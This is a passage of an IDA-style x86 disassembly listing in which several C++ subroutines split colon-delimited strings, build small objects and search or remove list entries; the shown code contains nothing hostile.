var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413BF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D39
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413D39
		push	esi
		push	edi
		push	offset asc_443C54 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D13
		add	ebp, 54h


loc_413C70:				; CODE XREF: sub_413BF0+11Dj
		push	15h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C90
		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C92
; ---------------------------------------------------------------------------


loc_413C90:				; CODE XREF: sub_413BF0+95j
		xor	eax, eax


loc_413C92:				; CODE XREF: sub_413BF0+9Ej
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016AE
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40200E
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_40147E
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_443C54 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413C70


loc_413D13:				; CODE XREF: sub_413BF0+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D39:				; CODE XREF: sub_413BF0+26j
					; sub_413BF0+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413BF0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413DC0	proc near		; CODE XREF: sub_401F2Dj
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_413DC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413DE0:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401861
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E20	proc near		; CODE XREF: sub_40189Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_401CD0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41400E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_402112
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41400E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41400E
		push	offset byte_446F30
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F07
		lea	ecx, [edi+2Ah]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017E4


loc_413ED6:				; CODE XREF: sub_413E20+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413EFA
		cmp	cl, bl
		jz	short loc_413EF6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413EFA
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413ED6


loc_413EF6:				; CODE XREF: sub_413E20+C0j
		xor	eax, eax
		jmp	short loc_413EFF
; ---------------------------------------------------------------------------


loc_413EFA:				; CODE XREF: sub_413E20+BCj
					; sub_413E20+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413EFF:				; CODE XREF: sub_413E20+D8j
		cmp	eax, ebx
		jnz	loc_41400E


loc_413F07:				; CODE XREF: sub_413E20+A1j
		push	offset byte_446F30
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F63
		lea	ecx, [edi+3Fh]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017E4


loc_413F32:				; CODE XREF: sub_413E20+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F56
		cmp	cl, bl
		jz	short loc_413F52
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F56
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F32


loc_413F52:				; CODE XREF: sub_413E20+11Cj
		xor	eax, eax
		jmp	short loc_413F5B
; ---------------------------------------------------------------------------


loc_413F56:				; CODE XREF: sub_413E20+118j
					; sub_413E20+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F5B:				; CODE XREF: sub_413E20+134j
		cmp	eax, ebx
		jnz	loc_41400E


loc_413F63:				; CODE XREF: sub_413E20+FAj
		push	58h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413F83
		mov	ecx, eax
		call	sub_401D07
		jmp	short loc_413F85
; ---------------------------------------------------------------------------


loc_413F83:				; CODE XREF: sub_413E20+158j
		xor	eax, eax


loc_413F85:				; CODE XREF: sub_413E20+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40200E
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40200E
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401406
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41405B
; ---------------------------------------------------------------------------


loc_41400E:				; CODE XREF: sub_413E20+44j
					; sub_413E20+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41405B:				; CODE XREF: sub_413E20+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414110	proc near		; CODE XREF: sub_401D07j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414110
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414110	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141A0:				; CODE XREF: ___:00401DC0j
		push	0FFFFFFFFh
		push	offset loc_439CB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_40189D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414290	proc near		; CODE XREF: sub_401537j
		add	ecx, 6Ch
		jmp	sub_401C62
sub_414290	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4142B0	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4142B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_43689A
sub_4142B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_4142F3
		mov	ecx, eax
		call	sub_401BE0
; ---------------------------------------------------------------------------
		jmp	short loc_4142F5
; ---------------------------------------------------------------------------


loc_4142F3:				; CODE XREF: ___:004142E8j
		xor	eax, eax


loc_4142F5:				; CODE XREF: ___:004142F1j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40200E
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40200E
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40200E
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40200E
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401EF1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4143E0	proc near		; CODE XREF: sub_401BE0j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4143E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401424
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_4143E0	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414480:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_439D78
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414550	proc near		; CODE XREF: sub_401DACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_414550
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E1F
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_414600


loc_4145B5:				; CODE XREF: sub_414550+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_4145DD
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_4145DD:				; CODE XREF: sub_414550+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020A4
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4145B5


loc_414600:				; CODE XREF: sub_414550+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414648
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414623
		push	1
		call	sub_4019DD


loc_414623:				; CODE XREF: sub_414550+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414648:				; CODE XREF: sub_414550+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_414550	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4146C0	proc near		; CODE XREF: sub_4019DDj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402220
		test	[esp+4+arg_0], 1
		jz	short loc_4146D8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4146D8:				; CODE XREF: sub_4146C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4146C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4146F0	proc near		; CODE XREF: sub_402220j
		jmp	sub_401226
sub_4146F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414710:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_439DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_443C54 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_4147D9


loc_414773:				; CODE XREF: ___:004147D7j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_443C54 ; ":"
		push	esi
		push	edx
		call	sub_4016AE
		mov	ecx, ebp
		call	sub_401DAC
		cmp	al, bl
		jnz	short loc_4147A0
		mov	[esp+13h], bl


loc_4147A0:				; CODE XREF: ___:0041479Aj
		inc	esi
		push	offset asc_443C54 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_414773


loc_4147D9:				; CODE XREF: ___:00414771j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414850	proc near		; CODE XREF: sub_40210Dj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_414850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	loc_414984
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41492E


loc_4148C4:				; CODE XREF: sub_414850+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B72
		test	eax, eax
		jz	short loc_4148FC
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41490B


loc_4148FC:				; CODE XREF: sub_414850+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41490B:				; CODE XREF: sub_414850+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_4148C4


loc_41492E:				; CODE XREF: sub_414850+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_414984
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_402130
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_414951
		push	1
		call	sub_4016FE


loc_414951:				; CODE XREF: sub_414850+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_414984:				; CODE XREF: sub_414850+2Ej
					; sub_414850+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_414850	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A20	proc near		; CODE XREF: sub_4016FEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A5A
		test	[esp+4+arg_0], 1
		jz	short loc_414A38
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A38:				; CODE XREF: sub_414A20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A50	proc near		; CODE XREF: sub_401A5Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414A50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414AE0:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_439E38
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40210D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B70:				; CODE XREF: ___:00401B31j
		push	0FFFFFFFFh
		push	offset loc_439E58
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_414C77
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jz	short loc_414C2F


